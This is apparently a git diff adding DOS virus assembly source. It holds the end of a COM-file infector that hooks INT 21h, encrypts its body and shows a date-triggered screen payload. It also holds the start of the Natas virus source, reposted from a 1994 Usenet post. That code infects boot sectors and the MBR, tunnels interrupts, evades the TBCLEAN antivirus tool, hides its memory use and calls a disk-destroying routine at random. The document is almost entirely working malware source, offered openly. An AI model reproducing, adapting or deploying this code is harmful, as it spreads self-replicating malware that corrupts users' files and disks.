+ + PUSH DS ; ES = NEW VIRUS SEGMENT + POP ES + + PUSH CS ; DS = CURENT VIRUS SEGMENT + POP DS + + LEA SI,[BX+012AH] ; BEGIN VIRUS + MOV DI,0100H ; BEGIN IN NEW SEGMENT + MOV CX,06A5H ; VIRUS SIZE + CLD + REPZ MOVSB ; MOVE VIRUS + + PUSH ES ; EXECUTE VIRUS IN NEW SEGMENT + LEA AX,DS:[0284H] + PUSH AX + RETF + +L0184: MOV WORD PTR CS:[002CH],0000H ; CLEAR ENVIROMENT OF VIRUS + MOV CS:[0016H],CS + PUSH DS ; PUSH DS + + LEA DX,DS:[031CH] ; L021C - VIRUS INT21 DRIVER + PUSH CS + POP DS ; SET NEW INT21 VECTOR + MOV AX,2521H + INT 21H + +L019C: POP DS ; POP DS + + MOV AH,1AH ; SET NEW 'DTA' + MOV DX,0080H + INT 21H + +L01A4: CALL L039A + + MOV AH,2AH ; GET DATE : CX - YEAR , + INT 21H ; DH - MONTH , DL - DAY + +L01AB: CMP CX,07C4H ; COMPARE WIDTH 1988 ? + + JNBE L0216 ; YEAR IS > 1988 ? + + JE L01DD ; YEAR IS 1988 ? + + CMP CX,07BCH ; YEAR IS 1980 ? + JNE L0216 ; NO ? + + PUSH DS ; STORE DS + + MOV AX,3528H ; GET ADDRESS INT28 + INT 21H + +L01BF: MOV CS:[013BH],BX ; SAVE ADDRESS + MOV CS:[013DH],ES + + MOV AX,2528H ; SET NEW INT28 + MOV DX,0722H ; L0622 - INT28 DRIVER + PUSH CS + POP DS + INT 21H + +L01D3: POP DS ; RESTORE DS + + OR BYTE PTR CS:[0157H],08H ; SET 'SHOW' STATUS + JMP SHORT L01E2 + NOP + +L01DD: CMP DH,0AH ; 1988, OCTOBER ? + JB L0216 + +L01E2: CALL L0462 + + MOV AX,1518H + CALL L036F + INC AX + MOV WORD PTR CS:[015EH],AX + MOV WORD PTR CS:[0160H],AX + MOV WORD PTR CS:[0164H],0001H + + MOV AX,351CH ; GET ADDRESS INT1C - TIMER + INT 21H + +L0200: MOV CS:[0133H],BX ; SAVE ADDRESS + MOV CS:[0135H],ES + + PUSH DS ; SET NEW INT1C + MOV AX,251CH + MOV DX,06BDH ; L05BD - INT1C DRIVER + PUSH CS + POP DS + INT 21H + +L0215: POP DS + +L0216: MOV BX,0FFD6H + JMP L00B3 + +; ============== INT 21 DRIVER ============== + +L021C: CMP AH,4BH ; EXEC FUNCTION ? + JE L0231 + +L0221: JMP DWORD PTR CS:[0137H] ; JUMP TO ORIGINAL INT21 + +L0226: MOV DI,55AAH ; SPECIAL CODE + LES AX,DWORD PTR CS:[0137H] ; ES:AX - ORIGINAL INT21 VECTOR + MOV DX,CS ; DX - VIRUS SEGMENT + IRET ; RETURN + +L0231: CMP AL,0FFH ; SPECIAL FUNCTION ? + JE L0226 + + CMP AL,00H ; EXEC PROGRAM ? + JNE L0221 ; NO. QUIT + + PUSHF ; SAVE REGISTERS +L023A: DB 'PSQRVWU' + PUSH ES + PUSH DS + + MOV CS:[0147H],DX ; SAVE FILE NAME + MOV CS:[0149H],DS + + PUSH CS ; ES = CURENT SEGMENT + POP ES + + MOV AX,3D00H ; OPEN FILE + INT 21H +L0254: JB L02AC ; ERROR ? + + MOV BX,AX ; SAVE FP + + MOV AX,5700H ; GET TIME & DATE OF FILE + INT 21H + +L025D: MOV CS:[0143H],DX ; SAVE TIME & DATE + MOV CS:[0145H],CX + + MOV AH,3FH ; READ FIRS 3 BYTES FROM FILE + PUSH CS + POP DS + MOV DX,012EH + MOV CX,0003H + INT 21H +L0273: JB L02AC ; \ + CMP AX,CX ; > ERROR ? + JNE L02AC ; / + + MOV AX,4202H ; GET FILE SIZE + XOR CX,CX + XOR DX,DX + INT 21H + +L0282: MOV WORD PTR CS:[014BH],AX ; SAVE FILE SIZE + MOV CS:[014DH],DX + + MOV AH,3EH ; CLOSE FILE + INT 21H + +L028F: CMP WORD PTR CS:[012EH],5A4DH ; 'EXE' FILE ? + JNE L029B ; NO. INFECT ... + + JMP L0362 ; QUIT + +L029B: CMP WORD PTR CS:[014DH],+00H ; SIZE OF FILE > 65535 ? + JNBE L02AC ; YES. QUIT + + CMP WORD PTR CS:[014BH],0F93BH ; SIZE OF FILE > 63803 ? + JBE L02AF ; YES. QUIT + +L02AC: JMP L0362 ; QUIT + +L02AF: CMP BYTE PTR CS:[012EH],0E9H ; FIRST BYTE IS 'JUMP' CODE ? + JNE L02C5 ; NO. INFECT + + MOV AX,WORD PTR CS:[014BH] ; AX = NEXT WORD - 1703 + ADD AX,0F959H ; (TWO BYTES FOR JUMP OFFSET) + + CMP AX,CS:[012FH] ; AX = FILE SIZE ? + JE L02AC ; YES. QUIT + +L02C5: MOV AX,4300H ; GET FILE ATTRIBUTE + LDS DX,DWORD PTR CS:[0147H] + INT 21H +L02CF: JB L02AC ; ERROR ? + + MOV CS:[0141H],CX ; SAVE ATTRIBUTE ? + + XOR CL,20H ; CHANGE ATTRIBUTE ? + TEST CL,27H + JE L02E7 + + MOV AX,4301H ; SET NEW ATTRIBUTE + XOR CX,CX + INT 21H +L02E5: JB L02AC ; ERROR ? + +L02E7: MOV AX,3D02H ; OPEN FILE - READ/WRITE MODE + INT 21H +L02EC: JB L02AC ; ERROR ? + + MOV BX,AX ; SAVE FP + + MOV AX,4202H ; MOVE FP TO END OF FILE + XOR CX,CX + XOR DX,DX + INT 21H + +L02F9: CALL L064C ; WRITE VIRUS CODE + JNB L0316 ; ERROR ? + + MOV AX,4200H ; MOVE FP TO BEGIN VIRUS + MOV CX,CS:[014DH] + MOV DX,CS:[014BH] + INT 21H + +L030D: MOV AH,40H ; CUT FILE (ERASE VIRUS) + XOR CX,CX + INT 21H + +L0313: JMP SHORT L0336 ; QUIT + NOP + +L0316: MOV AX,4200H ; MOVE FP TO BEGIN FILE + XOR CX,CX + XOR DX,DX + INT 21H +L031F: JB L0336 + + MOV AX,WORD PTR CS:[014BH] ; CALC 'JUMP' WORD + ADD AX,0FFFEH + + MOV WORD PTR CS:[0150H],AX ; SAVE 'JUMP' WORD + + MOV AH,40H ; WRITE 'JUMP' CODE - 3 BYTES + MOV DX,014FH + MOV CX,0003H + INT 21H + +L0336: MOV AX,5701H ; SET OLD TIME & DATA OF FILE + MOV DX,CS:[0143H] + MOV CX,CS:[0145H] + INT 21H + +L0345: MOV AH,3EH ; CLOSE FILE + INT 21H + +L0349: MOV CX,CS:[0141H] ; SET OLD ATTRIBUTES ? + TEST CL,07H + JNE L0358 + TEST CL,20H + JNE L0362 + +L0358: MOV AX,4301H ; SET OLD ATTRIBUTES + LDS DX,DWORD PTR CS:[0147H] + INT 21H + +L0362: POP DS ; POP REGISTERS +L0363: DB 07H,']_^ZY[X' + POPF + JMP L0221 ; EXEC FILE + +L036F: PUSH DS ; SAVE DS + + PUSH CS ; DS = CS + POP DS + + PUSH BX ; PUSH REGISTERS + PUSH CX + PUSH DX + + PUSH AX ; SAVE ARGUMENT + + MOV CX,0007H ; SIZE OF ARRAY + + MOV BX,0174H ; ADDRESS OF END OF ARRAY + + PUSH WORD PTR [BX] ; SAVE LAST ELEMENT + +L037E: MOV AX,[BX-02H] ; ARRAY[I] = ARRAY[I-1] + ADC [BX],AX + DEC BX + DEC BX + LOOP L037E + + POP AX ; CALC LAST ELEMENT + ADC [BX],AX + + MOV DX,[BX] ; GET LAST ELEMENT + + POP AX ; POP ARGUMENT + + OR AX,AX ; ARGUMENT IS NULL ? + JE L0393 + + MUL DX ; MUL RANDOM WORD + +L0393: MOV AX,DX ; RETURN RANDOM WORD + + POP DX ; RESTORE REGISTERS + POP CX + POP BX + POP DS + RET + +L039A: PUSH DS + PUSH ES + PUSH SI + PUSH DI + PUSH CX + PUSH CS + POP ES + MOV CX,0040H + MOV DS,CX + MOV DI,0166H + MOV SI,006CH + MOV CX,0008H + CLD + REPZ MOVSW + POP CX + POP DI + POP SI + POP ES + POP DS + RET + +L03B8: PUSH SI + PUSH DS + PUSH DX + MOV AL,DH + MUL BYTE PTR DS:[0152H] + MOV DH,00H + ADD AX,DX + SHL AX,1 + ADD AX,DS:[015AH] + MOV SI,AX + TEST BYTE PTR DS:[0154H],0FFH + MOV DS,DS:[0158H] + JE L03EA + MOV DX,03DAH + CLI +L03DC: IN AL,DX + TEST AL,08H + JNE L03EA + TEST AL,01H + JNE L03DC +L03E5: IN AL,DX + TEST AL,01H + JE L03E5 +L03EA: LODSW + STI + POP DX + POP DS + POP SI + RET + +L03F0: PUSH DI + PUSH ES + PUSH DX + PUSH BX + MOV BX,AX + MOV AL,DH + MUL BYTE PTR DS:[0152H] + MOV DH,00H + ADD AX,DX + SHL AX,1 + ADD AX,DS:[015AH] + MOV DI,AX + TEST BYTE PTR DS:[0154H],0FFH + MOV ES,DS:[0158H] + JE L0425 + MOV DX,03DAH + CLI +L0417: IN AL,DX + TEST AL,08H + JNE L0425 + TEST AL,01H + JNE L0417 +L0420: IN AL,DX + TEST AL,01H + JE L0420 +L0425: MOV AX,BX + STOSB + STI + POP BX + POP DX + POP ES + POP DI + RET + +L042E: PUSH CX +L042F: PUSH CX + MOV CX,DS:[015CH] +L0434: LOOP L0434 + POP CX + LOOP L042F + POP CX + RET + +L043B: PUSH AX + IN AL,61H + XOR AL,02H + AND AL,0FEH + OUT 61H,AL + POP AX + RET + +L0446: CMP AL,00H + JE L0454 + CMP AL,20H + JE L0454 + CMP AL,0FFH + JE L0454 + CLC + RET + +L0454: STC + RET + +L0456: CMP AL,0B0H + JB L0460 + CMP AL,0DFH + JNBE L0460 + STC + RET + +L0460: CLC + RET + +L0462: PUSH DS + MOV AX,0040H + MOV DS,AX + STI + MOV AX,WORD PTR DS:[006CH] +L046C: CMP AX,DS:[006CH] + JE L046C + XOR CX,CX + MOV AX,WORD PTR DS:[006CH] +L0477: INC CX + JE L048F + CMP AX,DS:[006CH] + JE L0477 +L0480: POP DS + MOV AX,CX + XOR DX,DX + MOV CX,000FH + DIV CX + MOV WORD PTR CS:[015CH],AX + RET + +L048F: DEC CX + JMP SHORT L0480 + + +L0492: MOV BYTE PTR DS:[0153H],18H + + PUSH DS ; GET CURENT VIDEO PAGE + MOV AX,0040H + MOV DS,AX + MOV AX,WORD PTR DS:[004EH] + POP DS + + MOV WORD PTR DS:[015AH],AX ; SAVE CURENT VIDEO PAGE + + MOV DL,0FFH ; EGA CHARACTER GENERATOR FUNC + MOV AX,1130H + MOV BH,00H + PUSH ES + PUSH BP + INT 10H + POP BP + POP ES + + CMP DL,0FFH + JE L04BA + MOV DS:[0153H],DL +L04BA: MOV AH,0FH + INT 10H + +L04BE: MOV DS:[0152H],AH + MOV BYTE PTR DS:[0154H],00H + MOV WORD PTR DS:[0158H],0B000H + CMP AL,07H + JE L0507 + JB L04D6 + JMP L05B6 + +L04D6: MOV WORD PTR DS:[0158H],0B800H + CMP AL,03H + JNBE L0507 + CMP AL,02H + JB L0507 + MOV BYTE PTR DS:[0154H],01H + MOV AL,BYTE PTR DS:[0153H] + INC AL + MUL BYTE PTR DS:[0152H] + MOV WORD PTR DS:[0162H],AX + MOV AX,WORD PTR DS:[0164H] + CMP AX,DS:[0162H] + JBE L0501 + MOV AX,WORD PTR DS:[0162H] +L0501: CALL L036F + INC AX + MOV SI,AX +L0507: XOR DI,DI +L0509: INC DI + MOV AX,WORD PTR DS:[0162H] + SHL AX,1 + CMP DI,AX + JBE L0516 + JMP L05B6 + +L0516: OR BYTE PTR DS:[0157H],02H + MOV AL,BYTE PTR DS:[0152H] + MOV AH,00H + CALL L036F + MOV DL,AL + MOV AL,BYTE PTR DS:[0153H] + MOV AH,00H + CALL L036F + MOV DH,AL + CALL L03B8 + CALL L0446 + JB L0509 + CALL L0456 + JB L0509 + MOV BYTE PTR DS:[0155H],AL + MOV DS:[0156H],AH + MOV CL,DS:[0153H] + MOV CH,00H +L0549: INC DH + CMP DH,DS:[0153H] + JNBE L05A3 + CALL L03B8 + CMP AH,DS:[0156H] + JNE L05A3 + CALL L0446 + JB L0587 +L055F: CALL L0456 + JB L05A3 + INC DH + CMP DH,DS:[0153H] + JNBE L05A3 + CALL L03B8 + CMP AH,DS:[0156H] + JNE L05A3 + CALL L0446 + JNB L055F + CALL L043B + DEC DH + CALL L03B8 + MOV BYTE PTR DS:[0155H],AL + INC DH +L0587: AND BYTE PTR DS:[0157H],0FDH + DEC DH + MOV AL,20H + CALL L03F0 + INC DH + MOV AL,BYTE PTR DS:[0155H] + CALL L03F0 + JCXZ L05A1 + CALL L042E + DEC CX +L05A1: JMP SHORT L0549 + +L05A3: TEST BYTE PTR DS:[0157H],02H + JE L05AD + JMP L0509 + +L05AD: CALL L043B + DEC SI + JE L05B6 + JMP L0507 + +L05B6: IN AL,61H + AND AL,0FCH + OUT 61H,AL + RET + +; ============== INT 1C DRIVER ============== + +L05BD: TEST BYTE PTR CS:[0157H],09H ; SHOW ? + JNE L061D ; NO. EXEC ORIGINAL INT1C + + OR BYTE PTR CS:[0157H],01H ; CLEAR SHOW STATUS + + DEC WORD PTR CS:[015EH] ; DECREMENT COUNTER + JNE L0617 ; FAILING LETERS ? + + PUSH DS ; SAVE DS & ES + PUSH ES + + PUSH CS ; DS = CS + POP DS + + PUSH CS ; ES = DS + POP ES + +L05D7: DB 'PSQRVWU' ; PUSH REGISTERS + + MOV AL,20H ; NO INTERUPTS + OUT 20H,AL + + MOV AX,WORD PTR DS:[0160H] + + CMP AX,0438H + JNB L05EE + + MOV AX,0438H + +L05EE: CALL L036F ; CALC RANDOM WORD FOR TIMER + INC AX + + MOV WORD PTR DS:[015EH],AX ; STORE NEW COUNTER + MOV WORD PTR DS:[0160H],AX + + CALL L0492 + + MOV AX,0003H + CALL L036F + INC AX + + MUL WORD PTR DS:[0164H] + JNB L060B + + MOV AX,0FFFFH +L060B: MOV WORD PTR DS:[0164H],AX + +L060E: DB ']_^ZY[X' ; RESTORE REGISTERS + POP ES + POP DS + +L0617: AND BYTE PTR CS:[0157H],0FEH ; SET SHOW STATUS + +L061D: JMP DWORD PTR CS:[0133H] ; EXEC OROGINAL INT1C + + TEST BYTE PTR CS:[0157H],08H + JE L0647 + +; ============== INT 28 DRIVER ============== + +L0622: PUSH AX ; SAVE REGISTERS + PUSH CX + PUSH DX + + MOV AH,2AH ; GET DATE + INT 21H + +L0631: CMP CX,07C4H ; COMPARE WIDTH 1988 + JB L0644 ; YEAR IS < 1988 ? - NO SHOW + JNBE L063E ; YEAR IS > 1988 ? - SET FLAG FOR SHOW + + CMP DH,0AH ; YEAR IS 1988. MONTH IS < OCTOBER ? + JB L0644 ; YES. NO SHOW + +L063E: AND BYTE PTR CS:[0157H],0F7H ; SET SHOW FLAG + +L0644: POP DX ; RESTORE REGISTERS + POP CX + POP AX + +L0647: JMP DWORD PTR CS:[013BH] ; EXECUTING ORIGINAL INT28 + +L064C: PUSH ES + PUSH BX + + MOV AH,48H ; GET MEMORY - 1712 BYTES + MOV BX,006BH + INT 21H +L0655: POP BX + + JNB L065B ; NO ERROR ? + +L0658: STC ; ERROR - QUIT + POP ES + RET + +L065B: MOV BYTE PTR CS:[0100H],01H + +L0661: MOV ES,AX ; ES = NEW MEMORY SEGMENT + + PUSH CS ; DS = VIRUS SEGMENT + POP DS + + XOR DI,DI ; MOVE VIRUS CODE TO NEW SEGMENT + MOV SI,0100H + MOV CX,06A5H ; SIZE OF VIRUS - 1701 BYTES + CLD + REPZ MOVSB + + MOV DI,0023H ; BEGIN FOR CODING V.CODE + + MOV SI,0123H ; CALC CODING WORD + ADD SI,DS:[014BH] + + MOV CX,0682H ; SIZE OF CODING CODE - 1666 BYTES + +L067D: XOR ES:[DI],SI ; CODING BYTE + XOR ES:[DI],CX + + INC DI ; ADDRESS OF NAXT BYTE + INC SI + + LOOP L067D ; CODING NEXT BYTE + + MOV DS,AX ; SEGMENT OF CODING CODE + + MOV AH,40H ; WRITE CODE + XOR DX,DX + MOV CX,06A5H ; SIZE CODE - 1701 BYTES + INT 21H + +L0692: PUSHF + PUSH AX + + MOV AH,49H ; FREE BLOCK + INT 21H + +L0698: POP AX + POPF + + PUSH CS + POP DS + JB L0658 ; ERROR IN WRITING ? + + CMP AX,CX ; ALL BYTES IS WRITING ? + JNE L0658 + + POP ES ; RETURN - NO ERRORS + CLC + RET + +L06A5: JB L0661 + CMP AX,CX + JNE L0661 + POP ES + CLC + RET + \ No newline at end of file diff --git a/v/V1ENG.ASM b/v/V1ENG.ASM new file mode 100755 index 0000000..d3fc42c --- /dev/null +++ b/v/V1ENG.ASM @@ -0,0 +1,2608 @@ +From netcom.com!ix.netcom.com!howland.reston.ans.net!sol.ctr.columbia.edu!news.mtu.edu!news.mtu.edu!not-for-mail Mon Nov 14 02:24:29 1994 +Xref: netcom.com alt.comp.virus:240 +Path: netcom.com!ix.netcom.com!howland.reston.ans.net!sol.ctr.columbia.edu!news.mtu.edu!news.mtu.edu!not-for-mail +From: jdmathew@mtu.edu (Icepick) +Newsgroups: alt.comp.virus +Subject: NATAS +Date: 13 Nov 1994 18:54:19 -0500 +Organization: Michigan Technological University +Lines: 2594 +Message-ID: <3a68vb$l2o@maxwell11.ee> +NNTP-Posting-Host: maxwell11.ee.mtu.edu +X-Newsreader: TIN [version 1.2 PL1] + +;Natas Virus +;COM/EXE/Boot sector/partition table/full Stealth and polymorphic +;Tunnels +;Does other stuff +;2 files -- v1eng.asm = virus eng.asm = Engine + + +----------------<>-------------------------------------------------- + +.model tiny +.code + +file_size equ file_end - v_start +sect_size equ (decrypt - v_start + 511) / 512 +para_size equ (v_end - v_start + 15) / 16 +kilo_size equ (v_end - v_start + 1023) / 1024 + +find_dos_13 equ tracer_dos_13 - (trace_mode + 1) +find_13 equ tracer_13 - (trace_mode + 1) +find_15 equ tracer_15 - (trace_mode + 1) +find_21 equ tracer_21 - (trace_mode + 1) +find_40 equ tracer_40 - (trace_mode + 1) +step_21 equ tracer_step_21 - (trace_mode + 1) + +loader_size equ loader_end - loader + +no_hook_21 equ new_13_next - (hook_21 + 1) +yes_hook_21 equ check_21 - (hook_21 + 1) + +boot equ 0 +file equ 1 + +years equ 100 shl 1 + + +v_start: jmp decrypt + + ; push cs + ; pop ds + ; call copy_ints + dw copy_ints - ($ + 2) ; save ints 13 15 21 40 + mov ds:hook_21,al ; (0=yes_hook_21) hook 21h + mov ds:origin,al ; (0=boot) remeber host + mov es,ax ; ES=0 + pop di + sub di,3 ; address of loader in boot + push ax di ; save return address 0:xxxx + mov si,offset boot_code + call move_boot_code1 ; copy and decode boot code + mov al,13h + mov dx,offset new_13 + call set_int ; hook int 13h + call inf_hard ; infect drive C: + test byte ptr ds:load_head,dl ; DL=80h drive C:? + je boot_retf + mov ax,1ffh + call random ; time to activate? + jne boot_retf + jmp kill_disk + +boot_retf: retf ; return to boot sector + +;=====( Copy boot code and (en/de)crypt it )=================================; + +move_boot_code1:mov ah,ds:[si - 1] ; get key +move_boot_code: mov cx,loader_size + cld +move_boot_loop: lodsb + xor al,ah ; code/decode + rol ah,1 + stosb + loop move_boot_loop + retn + +;=====( Code that was in boot sector before infection )======================; + +boot_code_key db ? +boot_code: db loader_size dup(?) + +;=====( Gets inserted into infected Boot sectors/MBRs )======================; + +loader: call $ + 3 + mov di,40h + mov ds,di + sub word ptr ds:[di-(40h-13h)],kilo_size ; hide memory + mov ax,ds:[di-(40h-13h)] + mov cl,0ah + ror ax,cl ; get TOM address + mov es,ax + mov ax,200h + sect_size + xor bx,bx + mov cx,0 +load_sect = $ - 2 + mov dx,0 +load_head = $ - 2 + int 13h ; read code into memory + jb load_fail + push es bx ; address of high code + retf +load_fail: int 18h +loader_end: + +;=====( save ints 13h, 15h, 21h & 40h. Assumes ES=CS )=======================; + +copy_ints: push ds + xor ax,ax + mov ds,ax ; segment 0 + mov si,13h * 4h + mov di,offset int_13 + push si si + movsw + movsw ; int 13h to int_13 + pop si + movsw + movsw ; int 13h to dos_13 + mov si,15h * 4h + movsw + movsw ; int 15h to int_15 + pop si ; address of int 13h's IVT + cmp byte ptr ds:[475h],al ; any hard disks? + je copy_int_40 + mov si,40h * 4h +copy_int_40: movsw + movsw ; copy int 13h/40h to int_40 + mov si,21h * 4h + movsw + movsw ; int 21h to int_21 + pop ds + retn + +;=====( get interrupt address )==============================================; + +get_int: push ax + xor ah,ah + rol ax,1 + rol ax,1 + xchg bx,ax + xor ax,ax + mov es,ax + les bx,es:[bx] ; get int address + pop ax + retn + +;=====( Set interrupt address )==============================================; + +set_int: push ax bx ds + xor ah,ah + rol ax,1 + rol ax,1 + xchg ax,bx + xor ax,ax + push ds + mov ds,ax + mov ds:[bx],dx + pop ds:[bx + 2] + pop ds bx ax + retn + + +push_all: pop cs:push_pop_ret + pushf + push ax bx cx dx bp si di ds es + mov bp,sp +push_pop_jmp: jmp cs:push_pop_ret + +pop_all: pop cs:push_pop_ret + pop es ds di si bp dx cx bx ax + popf + jmp push_pop_jmp + +;=====( Infect Drive C: )====================================================; + +inf_hard: push cs cs + pop es ds + mov ax,201h + mov bx,offset disk_buff + mov cx,1 + mov dx,80h + call call_13 ; read MBR of drive C: + jb cant_inf_hard + cmp ds:[bx.pt_start_head],ch ; Jackal? + je cant_inf_hard + mov cx,ds:[bx.pt_end_sector_track] + and cx,0000000000111111b ; get sector count + sub cx,sect_size + jbe cant_inf_hard + cmp cl,1 ; too few sectors? + jbe cant_inf_hard + call copy_loader ; copy loader into MBR + jb cant_inf_hard + push bx + mov ax,300h + sect_size + xor bx,bx + call call_13 ; write code to hidden sectors + pop bx + jb cant_inf_hard + mov ax,301h + mov cl,1 + call call_13 ; write infected MBR +cant_inf_hard: retn + +;=====( Copy Loader into disk_buff (BX) )====================================; + +copy_loader: push cx dx + cmp word ptr ds:[bx+1feh],0aa55h ; valid boot code? + jne copy_load_no + mov di,offset boot_code + mov ds:[di+load_sect-boot_code],cx ; save track/sector + and dl,80h ; Drive C: or A: + mov ds:[di+load_head-boot_code],dx ; save head/disk + call find_boot ; find code/already infected? + je copy_load_no + call random_1 ; get random key + mov ds:[di - 1],ah ; save key at boot_code_key + push si + call move_boot_code ; save boot code and encrypt + mov si,di ; offset of loader + pop di ; boot code pointer + mov cx,loader_size + rep movsb ; copy loader into boot sect + clc + mov al,0 + org $ - 1 +copy_load_no: stc + pop dx cx + retn + +;=====( Find start of boot sector's code )===================================; + +find_boot: mov si,bx + cld + lodsb ; get 1st instruction + push ax + lodsw ; Jump displacement (if jump) + xchg cx,ax + pop ax + cmp al,0ebh ; Short jump? + jne find_boot_jump + xor ch,ch ; 8bit jump + dec si + jmp find_boot_add +find_boot_jump: cmp al,0e9h ; Near Jump? + je find_boot_add +find_boot_noadd:xor cx,cx ; No displacement + mov si,bx +find_boot_add: add si,cx ; si=start of boot code + cmp si,offset (disk_buff+200h) - (loader_size + 5) + ; jump out of range? + jnb find_boot_noadd + cmp word ptr ds:[si],00e8h ; CALL -> already infected + jne find_boot_ret + cmp word ptr ds:[si+2],0bf00h ; 00 MOV DI -> already inf +find_boot_ret: retn + +;=====( Disable TBCLEAN )====================================================; + +anti_tbclean: xor ax,ax + pushf + pop dx + and dh,not 1 ; TF off + push dx dx + popf + push ss + pop ss + pushf ; Not trapped + pop dx + test dh,1 ; TF set? + pop dx + je anti_tb_ret + push es + xor bp,bp + mov cx,ss + cli + mov ss,bp ; segment 0 + les di,ss:[bp+1h*4h] ; address of int 1h + mov ss,cx + sti + mov al,0cfh + cld + stosb ; IRET -> Int 1h + pop es + push dx + popf +anti_tb_ret: xchg bp,ax ; save result + retn + +;=====( Swap jump into DOS' int 13h )========================================; + +swap_13: call push_all + mov si,offset jump_code_13 + les di,cs:[si+dos_13-jump_code_13] ; get address in DOS + jmp swap_code + +;=====( Swap jump into DOS' int 21h )========================================; + +swap_21: call push_all + mov si,offset jump_code_21 + les di,cs:[si+int_21-jump_code_21] +swap_code: push cs + pop ds + mov cx,5 + cmp ds:origin,ch ; 0 -> Boot origin, no tunnel + je swap_end + cld +swap_loop: lodsb + xchg al,es:[di] + mov ds:[si-1],al + inc di + loop swap_loop +swap_end: call pop_all + retn + +;=====( Find original interrupt entry points )===============================; + +find_ints: call copy_ints ; get interrupt addresses + mov ah,52h + int 21h + mov ax,es:[bx-2] + mov ds:dos_seg,ax ; 1st MCB segment + mov al,1h + call get_int ; get address of int 1h + push bx es + mov dx,offset tracer + call set_int ; hook int 1h + pushf + pop si + mov di,offset trace_mode + mov byte ptr ds:[di],find_dos_13 ; find int 13h in DOS + ; and BIOS + mov ah,1h + call si_tf ; set TF + call call_13 + mov byte ptr ds:[di],find_15 ; find int 15h in BIOS + mov ah,0c0h + call si_tf ; set TF + pushf + call ds:int_15 + mov byte ptr ds:[di],find_21 ; find int 21h in DOS + mov ah,30h + call si_tf ; set TF + call call_21 + mov byte ptr ds:[di],find_40 ; find int 40h in BIOS + mov ah,1 + call si_tf ; set TF + call call_40 + and si,not 100h + push si + popf ; disable Trapping + pop ds dx + mov al,1 + call set_int ; unhook int 1h + retn + +;=====( Set TF in SI, then set flags to SI )=================================; + +si_tf: or si,100h + push si + popf + retn + +;=====( Tracing/Tunneling )==================================================; + +tracer: push ds + push cs + pop ds + mov ds:old_di,di + mov di,offset old_ax + mov ds:[di],ax + mov ds:[di+old_bx-old_ax],bx + mov ds:[di+old_cx-old_ax],cx + mov ds:[di+old_dx-old_ax],dx + pop ds:[di-(old_ax-old_ds)] + pop bx cx dx ; get IP, CS and Flags + mov ax,cs + cmp ax,cx ; In our CS? + jne $ +trace_mode = byte ptr $ - 1 + jmp tracer_iret + +tracer_dos_13: cmp cx,ds:dos_seg ; in DOS code? + jnb tracer_cont + mov di,offset dos_13 + mov ds:trace_mode,find_13 ; find it in BIOS next + jmp tracer_save_f + +tracer_21: cmp cx,1234h ; In DOS code? +dos_seg = word ptr $ - 2 + jnb tracer_cont + mov di,offset int_21 +tracer_save: and dh,not 1 ; TF off +tracer_save_f: mov ds:[di],bx + mov ds:[di + 2],cx ; save address of int + jmp tracer_cont + +tracer_15: mov di,offset int_15 + jmp tracer_bios + +tracer_40: mov di,offset int_40 + jmp tracer_bios + +tracer_13: mov di,offset int_13 +tracer_bios: cmp ch,0c8h ; Below BIOS? + jb tracer_cont + cmp ch,0f4h ; Above BIOS? + jb tracer_save + jmp tracer_cont + +tracer_step_21: dec ds:inst_count ; down counter + jne tracer_cont + push dx + mov al,1 + lds dx,ds:int_1 ; get int 1h address + call set_int + call swap_21 ; insert int 21h jump + pop dx + and dh,not 1h ; TF off + +tracer_cont: test dh,1 ; TF on? + je tracer_iret +get_inst: mov ds,cx ; instruction CS + xor di,di +get_inst1: mov ax,ds:[bx + di] ; get instruction + cmp al,0f0h ; LOCK + je skip_prefix + cmp al,0f2h ; REPNE + je skip_prefix + cmp al,0f3h ; REPE? + je skip_prefix + cmp al,9ch ; PUSHF or above? + jae emulate_pushf + and al,11100111b ; 26,2e,36,3e = 26 + cmp al,26h ; Segment Prefix? + jne tracer_iret +skip_prefix: inc di + jmp get_inst1 + +emulate_pushf: jne emulate_popf + and dh,not 1 ; TF off + push dx ; fake PUSHF +emulate_next: lea bx,ds:[bx + di + 1] ; skip instruction +emulate_tf: or dh,1 ; TF on + jmp get_inst + +emulate_popf: cmp al,9dh ; POPF? + jne emulate_iret + pop dx ; fake POPF + jmp emulate_next + +emulate_iret: cmp al,0cfh ; IRET? + jne emulate_int + pop bx cx dx ; fake IRET + jmp emulate_tf + +emulate_int: cmp al,0cdh ; Int xx + je emulate_int_xx + cmp al,0cch ; Int 3? + mov ah,3 + je emulate_int_x + cmp al,0ceh ; Into? + mov ah,4 + jne tracer_iret + test dh,8 ; OF set? + je tracer_iret +emulate_int_x: dec bx ; [bx+di+2-1] +emulate_int_xx: and dh,not 1 ; TF off + lea bx,ds:[bx + di + 2] ; get return address + push dx cx bx ; fake Int + mov al,ah + push es + call get_int ; get interrupt address + mov cx,es + pop es + jmp emulate_tf + +tracer_iret: push dx cx bx ; save flags, cs & ip + mov ax,0 +old_ds = word ptr $ - 2 + mov ds,ax + mov ax,0 +old_ax = word ptr $ - 2 + mov bx,0 +old_bx = word ptr $ - 2 + mov cx,0 +old_cx = word ptr $ - 2 + mov dx,0 +old_dx = word ptr $ - 2 + mov di,0 +old_di = word ptr $ - 2 + iret + +;=====( file infections come here after decryption )=========================; + +file_start: push ds ; save PSP segment + call $ + 3 + pop si + sub si,offset $ - 1 + call anti_tbclean ; disable TBCLEAN + or bp,bp ; TBCLEAN active? + jne go_res + mov ah,30h + mov bx,-666h + int 21h + cmp al,3h ; must be DOS 3+ + jb jump_host +go_res: mov ax,es + dec ax + mov ds,ax + xor di,di + or bp,bp ; TBCLEAN here? + jne dont_check_mcb + cmp byte ptr ds:[di],'Z' ; Last Block? + jne jump_host +dont_check_mcb: mov ax,para_size + sub ds:[di + 3],ax ; from MCB + sub ds:[di + 12h],ax ; from PSP + mov es,ds:[di + 12h] ; get memory address + mov ds,di + sub word ptr ds:[413h],kilo_size ; from int 12h + mov cx,jump_code_13-v_start + cld + rep movs byte ptr es:[di],byte ptr cs:[si] + mov ax,offset high_code + push es ax + retf + +jump_host: push cs + pop ds + pop es ; PSP segment + lea si,ds:[si + header] ; get address of header + mov ax,ds:[si] ; get 1st instruction + cmp ax,'ZM' ; EXE? + je jump_2_exe + cmp ax,'MZ' ; EXE? + je jump_2_exe + mov cx,18h / 2 + mov di,100h + push es di + cld + rep movsw ; repair .COM file + push es + pop ds + xchg ax,cx + retf + +jump_2_exe: mov ax,es + add ax,10h + add ds:[si.eh_cs],ax + add ax,ds:[si.eh_ss] ; get SS/CS + push es + pop ds + cli + mov ss,ax + mov sp,cs:[si.eh_sp] + xor ax,ax + sti + jmp dword ptr cs:[si.eh_ip] + + 